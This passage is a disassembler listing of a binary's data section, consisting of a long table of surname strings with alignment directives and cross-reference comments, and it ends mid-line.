___:0042E7A0o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E79Co aWhately db 'Whately',0 ; DATA XREF: ___:0042E798o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E794o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E790o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E78Co align 10h aVenne db 'Venne',0 align 4 aWengret db 'Wengret',0 aWelsh db 'Welsh',0 align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042E77Co align 10h aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 4 aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 10h aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 4 aWaugh db 'Waugh',0 align 10h aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 align 4 aWarshafsky db 'Warshafsky',0 align 10h aVanheeckeren db 'Vanheeckeren',0 align 10h aVandenberg db 'Vandenberg',0 align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E748o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042E744o align 10h aWalter db 'Walter',0 align 4 aWallenberg db 'Wallenberg',0 align 4 aWales db 'Wales',0 align 4 aValencia db 'Valencia',0 align 4 aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E72Co align 4 aVacca db 'Vacca',0 align 10h aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042E724o align 4 aUsdan db 'Usdan',0 align 10h aUrdangBrown db 'Urdang-Brown',0 align 10h aUrban db 'Urban',0 ; DATA XREF: ___:0042E718o align 4 aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 10h aTwells db 'Twells',0 align 4 aTuttle db 'Tuttle',0 align 10h aTurek db 'Turek',0 align 4 aTurano db 'Turano',0 align 10h aTukan db 'Tukan',0 align 4 aTudge db 'Tudge',0 align 10h aTuck db 'Tuck',0 align 4 aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042E6E4o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042E6E0o aTruss db 'Truss',0 align 10h aTroy db 'Troy',0 ; DATA XREF: ___:0042E6D8o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042E6D4o aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6D0o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E6CCo align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E6C8o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E6C4o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042E6C0o align 10h aTowler db 'Towler',0 ; DATA XREF: ___:0042E6BCo align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042E6B8o align 10h aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E6B4o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E6B0o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E6ACo align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042E6A8o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E6A4o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042E6A0o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E69Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E698o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E694o aTill db 'Till',0 ; DATA XREF: ___:0042E690o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E68Co aThroop db 'Throop',0 ; DATA XREF: ___:0042E688o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E684o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E680o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E67Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E678o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E674o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E670o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E66Co align 10h aTenney db 'Tenney',0 ; DATA XREF: ___:0042E668o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E664o align 10h aTemes db 'Temes',0 ; DATA XREF: ___:0042E660o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E65Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E658o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E654o align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E650o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E64Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E648o align 10h aTandler db 'Tandler',0 ; DATA XREF: ___:0042E644o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E640o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E63Co align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E638o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E634o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E630o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E62Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E628o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E624o align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0042E620o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E61Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E618o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E614o align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E610o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E60Co aStrange db 'Strange',0 ; DATA XREF: ___:0042E608o aStott db 'Stott',0 ; DATA XREF: ___:0042E604o align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E600o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5FCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5F8o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5F4o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5F0o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E5ECo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5E8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5E4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5E0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5DCo aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5D8o align 10h aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5D4o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5D0o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E5CCo align 4 aStates db 'States',0 ; DATA XREF: ___:0042E5C8o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E5C4o align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E5C0o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E5BCo align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E5B8o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E5B4o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E5B0o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E5ACo align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E5A8o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E5A4o align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E5A0o aSpence db 'Spence',0 ; DATA XREF: ___:0042E59Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E598o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E594o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E590o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E58Co aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E588o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E584o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E580o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E57Co align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E578o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E574o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E570o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E56Co align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E568o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E564o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E560o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E55Co aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E558o align 10h aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E554o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E550o align 10h aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E54Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E548o align 10h aSkane db 'Skane',0 ; DATA XREF: ___:0042E544o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E540o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E53Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E538o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E534o align 10h aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E530o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E52Co align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E528o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E524o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E520o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E51Co align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E518o aShia db 'Shia',0 ; DATA XREF: ___:0042E514o align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E510o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E50Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E508o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E504o align 10h aSheats db 'Sheats',0 ; DATA XREF: ___:0042E500o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E4FCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4F8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4F4o aShar db 'Shar',0 ; DATA XREF: ___:0042E4F0o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4ECo aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4E8o align 10h aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4E4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4E0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4DCo aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4D8o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4D4o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4D0o aSen db 'Sen',0 ; DATA XREF: ___:0042E4CCo aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E4C8o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E4C4o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E4C0o align 10h aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E4BCo align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E4B8o align 10h aScudder db 'Scudder',0 ; DATA XREF: ___:0042E4B4o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E4B0o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E4ACo aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E4A8o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E4A4o align 10h aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E4A0o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E49Co aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E498o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E494o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E490o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E48Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E488o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E484o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E480o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E47Co align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E478o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E474o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E470o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E46Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E468o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E464o align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E460o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E45Co align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E458o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E454o align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E450o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E44Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E448o aSamson db 'Samson',0 ; DATA XREF: ___:0042E444o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E440o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E43Co align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E438o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E434o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E430o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E42Co aRush db 'Rush',0 ; DATA XREF: ___:0042E428o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E424o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E420o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E41Co align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E418o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E414o align 10h aRow db 'Row',0 ; DATA XREF: ___:0042E410o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E40Co align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E408o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E404o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E400o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3FCo align 10h aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3F8o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E3F4o align 10h aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3F0o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3ECo align 10h aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3E8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3E4o align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3E0o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3DCo align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3D8o aRenick db 'Renick',0 ; DATA XREF: ___:0042E3D4o align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E3D0o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E3CCo aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E3C8o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E3C4o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E3C0o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E3BCo aRapple db 'Rapple',0 ; DATA XREF: ___:0042E3B8o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E3B4o align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E3B0o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E3ACo align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E3A8o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E3A4o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E3A0o align 10h aRabe db 'Rabe',0 ; DATA XREF: ___:0042E39Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E398o align 10h aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E394o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E390o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E38Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E388o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E384o align 10h aProietti db 'Proietti',0 ; DATA XREF: ___:0042E380o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E37Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E378o align 10h aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E374o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E370o aPresper db 'Presper',0 ; DATA XREF: ___:0042E36Co aPowers db 'Powers',0 ; DATA XREF: ___:0042E368o align 10h aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E364o aPoma db 'Poma',0 ; DATA XREF: ___:0042E360o align 10h aPolitis db 'Politis',0 ; DATA XREF: ___:0042E35Co aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E358o aPolak db 'Polak',0 ; DATA XREF: ___:0042E354o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E350o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E34Co aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E348o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E344o align 10h aPo db 'Po',0 ; DATA XREF: ___:0042E340o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E33Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E338o aPlant db 'Plant',0 ; DATA XREF: ___:0042E334o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E330o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E32Co align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E328o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E324o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E320o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E31Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E318o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E314o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E310o align 10h aPerone db 'Perone',0 ; DATA XREF: ___:0042E30Co align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E308o align 10h aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E304o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E300o align 10h aPerko db 'Perko',0 ; DATA XREF: ___:0042E2FCo align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2F8o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2F4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2F0o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2ECo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2E8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2E4o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2E0o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2DCo align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2D8o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2D4o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2D0o align 10h aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E2CCo aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E2C8o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E2C4o align 10h aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E2C0o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E2BCo align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E2B8o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E2B4o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E2B0o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E2ACo align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E2A8o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E2A4o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E2A0o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E29Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E298o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E294o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E290o align 10h aOvid db 'Ovid',0 ; DATA XREF: ___:0042E28Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E288o aOtten db 'Otten',0 ; DATA XREF: ___:0042E284o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E280o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E27Co align 10h aOspina db 'Ospina',0 ; DATA XREF: ___:0042E278o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E274o align 10h aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E270o aOray db 'Oray',0 ; DATA XREF: ___:0042E26Co align 10h aOpel db 'Opel',0 ; DATA XREF: ___:0042E268o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E264o aOman db 'Oman',0 ; DATA XREF: ___:0042E260o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E25Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E258o align 10h aOlson db 'Olson',0 ; DATA XREF: ___:0042E254o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E250o align 10h aOldford db 'Oldford',0 ; DATA XREF: ___:0042E24Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E248o aOh db 'Oh',0 ; DATA XREF: ___:0042E244o align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E240o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E23Co aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E238o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E234o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E230o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E22Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E228o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E224o align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E220o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E21Co align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E218o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E214o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E210o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E20Co align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E208o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E204o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E200o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1FCo aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1F8o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1F4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1F0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1ECo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1E8o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1E4o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1E0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1DCo aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1D8o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E1D4o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1D0o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E1CCo aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E1C8o align 10h aMosler db 'Mosler',0 ; DATA XREF: ___:0042E1C4o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E1C0o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E1BCo align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E1B8o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E1B4o align 10h aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E1ADo aMorani db 'Morani',0 align 10h aMooredech_ db 'MooreDeCh.',0 align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:loc_42E1A1o align 4 aMonque db 'Monque',0 align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E19Co align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E198o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E194o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E190o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E18Co aMittal db 'Mittal',0 ; DATA XREF: ___:0042E188o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E184o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E180o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E17Co aMini db 'Mini',0 ; DATA XREF: ___:0042E178o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E174o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E170o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E16Co align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E168o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E164o align 10h aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E160o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E15Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E158o aMerz db 'Merz',0 ; DATA XREF: ___:0042E154o align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E150o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E14Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E148o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E144o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E140o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E13Co align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E138o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E134o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E130o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E12Co aMclane db 'Mclane',0 ; DATA XREF: ___:0042E128o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E124o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E120o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E11Co aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E118o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E114o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E110o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E10Co aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E108o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E104o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E100o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0FCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0F8o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0F4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0F0o aMay db 'May',0 ; DATA XREF: ___:0042E0ECo aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0E8o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0E4o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0E0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0DCo align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0D8o aMass db 'Mass',0 ; DATA XREF: ___:0042E0D4o align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0D0o align 10h aMarton db 